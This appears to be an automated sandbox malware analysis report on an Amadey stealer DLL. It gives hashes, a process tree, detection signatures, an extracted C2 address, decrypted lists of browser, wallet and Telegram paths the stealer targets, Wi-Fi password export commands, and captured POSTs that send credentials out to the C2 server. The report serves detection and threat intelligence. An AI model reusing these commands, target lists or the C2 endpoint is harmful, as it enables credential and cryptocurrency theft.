Edit tour

Windows Analysis Report
cred64.dll.dll

Overview

General Information

Sample name:	cred64.dll.dll (renamed file extension from exe to dll)
Original sample name:	cred64.dll.exe
Analysis ID:	1620559
MD5:	478cf1466756aec3b32c8cc61fc5c6c6
SHA1:	201c3726ce7759de084693759c405d4ff7bf4cd9
SHA256:	92c5b1eae5d9f4eb47debd827d3168fb8ab989753262747c04ffee38c010e192
Tags:	exeuser-skocherhan
Infos:

Detection

Amadey

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Amadeys stealer DLL

C2 URLs / IPs found in malware configuration

Joe Sandbox ML detected suspicious sample

Loading BitLocker PowerShell Module

Sample uses string decryption to hide its real strings

Sigma detected: Suspicious Script Execution From Temp Folder

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Instant Messenger accounts or passwords

Uses netsh to modify the Windows network and firewall settings

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Folder Compress To Potentially Suspicious Output Via Compress-Archive Cmdlet

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

loaddll64.exe (PID: 7800 cmdline: loaddll64.exe "C:\Users\user\Desktop\cred64.dll.dll" MD5: 763455F9DCB24DFEECC2B9D9F8D46D52)

conhost.exe (PID: 7808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7864 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\cred64.dll.dll",#1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

rundll32.exe (PID: 7916 cmdline: rundll32.exe "C:\Users\user\Desktop\cred64.dll.dll",#1 MD5: EF3179D498793BF4234F708D3BE28633)

netsh.exe (PID: 7976 cmdline: netsh wlan show profiles MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

conhost.exe (PID: 7984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6944 cmdline: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rundll32.exe (PID: 7892 cmdline: rundll32.exe C:\Users\user\Desktop\cred64.dll.dll,Main MD5: EF3179D498793BF4234F708D3BE28633)

netsh.exe (PID: 7948 cmdline: netsh wlan show profiles MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

conhost.exe (PID: 7956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1732 cmdline: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rundll32.exe (PID: 7236 cmdline: rundll32.exe C:\Users\user\Desktop\cred64.dll.dll,Save MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 7228 cmdline: rundll32.exe "C:\Users\user\Desktop\cred64.dll.dll",Main MD5: EF3179D498793BF4234F708D3BE28633)

netsh.exe (PID: 7732 cmdline: netsh wlan show profiles MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

conhost.exe (PID: 1132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8068 cmdline: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rundll32.exe (PID: 7284 cmdline: rundll32.exe "C:\Users\user\Desktop\cred64.dll.dll",Save MD5: EF3179D498793BF4234F708D3BE28633)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Malware Configuration

Threatname: Amadey

{"C2 url": "185.196.8.37/Gd85kkjf/index.php", "Version": "5.10"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
cred64.dll.dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
cred64.dll.dll	loader_amadey_stealer_plugin	Finds Amadey\'s stealer plugin based on characteristic strings	Sekoia.io	0x126a3c:$str01: STEALERDLL.dll 0x116d38:$str02: ?wal=1 0x116c6a:$str03: Content-Disposition: form-data; name="data"; filename=" 0x116f70:$str09: "hostname":"([^"]+)" 0x116f88:$str10: "encryptedUsername":"([^"]+)" 0x116fa8:$str11: "encryptedPassword":"([^"]+)" 0x11787c:$str12: &cred=

Sigma Signatures

System Summary

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: rundll32.exe "C:\Users\user\Desktop\cred64.dll.dll",#1, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 7916, ParentProcessName: rundll32.exe, ProcessCommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, ProcessId: 6944, ProcessName: powershell.exe

Sigma detected: Folder Compress To Potentially Suspicious Output Via Compress-Archive Cmdlet

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), frack113: Data: Command: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: rundll32.exe "C:\Users\user\Desktop\cred64.dll.dll",#1, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 7916, ParentProcessName: rundll32.exe, ProcessCommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, ProcessId: 6944, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: rundll32.exe "C:\Users\user\Desktop\cred64.dll.dll",#1, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 7916, ParentProcessName: rundll32.exe, ProcessCommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, ProcessId: 6944, ProcessName: powershell.exe

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: netsh wlan show profiles, CommandLine: netsh wlan show profiles, CommandLine|base64offset|contains: l, Image: C:\Windows\System32\netsh.exe, NewProcessName: C:\Windows\System32\netsh.exe, OriginalFileName: C:\Windows\System32\netsh.exe, ParentCommandLine: rundll32.exe C:\Users\user\Desktop\cred64.dll.dll,Main, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 7892, ParentProcessName: rundll32.exe, ProcessCommandLine: netsh wlan show profiles, ProcessId: 7948, ProcessName: netsh.exe

Suricata Signatures

ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-21T01:52:20.345564+0100	2855239	1	A Network Trojan was detected	192.168.2.10	49701	185.196.8.37	80	TCP
2025-02-21T01:52:20.354455+0100	2855239	1	A Network Trojan was detected	192.168.2.10	49702	185.196.8.37	80	TCP
2025-02-21T01:52:25.522638+0100	2855239	1	A Network Trojan was detected	192.168.2.10	49729	185.196.8.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://185.196.8.37/Gd85kkjf/index.php	Avira URL Cloud: Label: malware
Source: http://185.196.8.37/Gd85kkjf/index.php?wal=1es5	Avira URL Cloud: Label: malware
Source: http://185.196.8.37/Gd85kkjf/index.php?wal=1=	Avira URL Cloud: Label: malware
Source: http://185.196.8.37/Gd85kkjf/index.php?wal=1	Avira URL Cloud: Label: malware
Source: http://185.196.8.37/Gd85kkjf/index.php?wal=1XyH	Avira URL Cloud: Label: malware
Source: http://185.196.8.37/Gd85kkjf/index.php#	Avira URL Cloud: Label: malware
Source: http://185.196.8.37/Gd85kkjf/index.php?wal=1s	Avira URL Cloud: Label: malware
Source: http://185.196.8.37/Gd85kkjf/index.php?wal=1b	Avira URL Cloud: Label: malware
Source: http://185.196.8.37/Gd85kkjf/index.php?wal=1rer	Avira URL Cloud: Label: malware
Source: http://185.196.8.37/Gd85kkjf/index.php?wal=1(	Avira URL Cloud: Label: malware

Found malware configuration

Source: cred64.dll.dll

Malware Configuration Extractor: Amadey {"C2 url": "185.196.8.37/Gd85kkjf/index.php", "Version": "5.10"}

Multi AV Scanner detection for submitted file

Source: cred64.dll.dll	ReversingLabs: Detection: 68%
Source: cred64.dll.dll	Virustotal: Detection: 77%			Perma Link

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.0% probability

Sample uses string decryption to hide its real strings

Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \dictionaries
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: tdata\key_datas
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: /Gd85kkjf/index.php
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: 185.196.8.37
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: Exodus\exodus.wallet\
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: _Electrum(
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: electrum_data\wallets
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: Electrum.exe
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: Electrum\wallets
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: Litecoin\wallets
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: DashCore\wallets\
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: _Telegram(
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \user_data
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \logins.json
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: Taskkill /IM "Atomic Wallet.exe" /F
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \Google\Chrome\User Data\Default\Login Data
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \Opera Software\Opera Stable\Login Data
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \Opera Software\Opera Stable\Local State
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \Microsoft\Edge\User Data\Default\Login Data
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \Google\Chrome\User Data\Local State
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \SputnikLab\Sputnik\User Data\Local State
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \Chromium\User Data\Default\Login Data
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \Orbitum\User Data\Default\Login Data
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \Comodo\Dragon\User Data\Local State
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \Comodo\Dragon\User Data\Default\Login Data
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \Microsoft\Edge\User Data\Local State
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \CocCoc\Browser\User Data\Default\Login Data
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \CocCoc\Browser\User Data\Local State
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \Vivaldi\User Data\Default\Login Data
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \Mozilla\Firefox\Profiles\
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: Taskkill /IM ArmoryQt.exe /F
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \Chromium\User Data\Local State
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \Vivaldi\User Data\Local State
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: Taskkill /IM litecoin-qt.exe /F
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: Taskkill /IM dash-qt.exe /F
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \Orbitum\User Data\Local State
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \Chedot\User Data\Local State
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: netsh wlan export profile name=
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \SputnikLab\Sputnik\User Data\Default\Login Data
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: _Desktop.zip
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: atomic\Local Storage\
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: key=clear
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: Telegram.exe
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: CentBrowser
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FeatureUsage\AppSwitched
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \CentBrowser\User Data\Local State
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \CentBrowser\User Data\Default\Login Data
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \Chedot\User Data\Default\Login Data
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: fG`z]5
Source: 00000012.00000002.1584469285.000001D6A15F8000.00000004.00000020.00020000.00000000.sdmp	String decryptor: fG`z]5

Source: cred64.dll.dll

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: ws\dll\mscorlib.pdb source: powershell.exe, 0000000E.00000002.1476961727.000002C936CA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 0000000E.00000002.1355416212.000002C91CA5D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .pdbpdblib.pdb}k source: powershell.exe, 00000016.00000002.1568675841.00000191CB620000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: *on.pdbVu+ source: powershell.exe, 00000016.00000002.1570208304.00000191CB850000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000016.00000002.1572082555.00000191CB8F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: lambda_methodb.pdb source: powershell.exe, 0000000E.00000002.1356517077.000002C91E9BC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb1f source: powershell.exe, 00000016.00000002.1572082555.00000191CB91E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdbA- source: powershell.exe, 0000000E.00000002.1476961727.000002C936CA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000016.00000002.1573769341.00000191CB97E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: lib.pdb source: powershell.exe, 0000000E.00000002.1476961727.000002C936CA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: scorlib.pdb source: powershell.exe, 00000016.00000002.1568675841.00000191CB620000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdbtti source: powershell.exe, 0000000E.00000002.1472153187.000002C936BF1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdbllH source: powershell.exe, 0000000E.00000002.1472153187.000002C936BF1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbCLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000016.00000002.1572082555.00000191CB91E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000016.00000002.1572082555.00000191CB8F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000016.00000002.1572082555.00000191CB91E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000016.00000002.1570208304.00000191CB850000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\Mktmp\StealerDLL\x64\Release\STEALERDLL.pdb source: cred64.dll.dll
Source:	Binary string: rlib.pdb source: powershell.exe, 00000016.00000002.1572082555.00000191CB8F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 00000016.00000002.1572082555.00000191CB8F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdberShell.Commands.Utility.pdb source: powershell.exe, 0000000E.00000002.1476961727.000002C936CA0000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\Music\desktop.ini	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\OneDrive\desktop.ini	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\Videos\desktop.ini	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855239 - Severity 1 - ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST) : 192.168.2.10:49729 -> 185.196.8.37:80
Source: Network traffic	Suricata IDS: 2855239 - Severity 1 - ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST) : 192.168.2.10:49702 -> 185.196.8.37:80
Source: Network traffic	Suricata IDS: 2855239 - Severity 1 - ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST) : 192.168.2.10:49701 -> 185.196.8.37:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\rundll32.exe

Network Connect: 185.196.8.37 80

Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

IPs: 185.196.8.37

Source: global traffic	HTTP traffic detected: POST /Gd85kkjf/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.196.8.37Content-Length: 21Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Source: global traffic	HTTP traffic detected: POST /Gd85kkjf/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.196.8.37Content-Length: 21Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Source: global traffic	HTTP traffic detected: POST /Gd85kkjf/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.196.8.37Content-Length: 21Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Source: global traffic	HTTP traffic detected: POST /Gd85kkjf/index.php?wal=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----NjE0Ng==Host: 185.196.8.37Content-Length: 6306Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Gd85kkjf/index.php?wal=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----NjE0Ng==Host: 185.196.8.37Content-Length: 6306Cache-Control: no-cache

Source: Joe Sandbox View

ASN Name: SIMPLECARRER2IT SIMPLECARRER2IT

Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.196.8.37
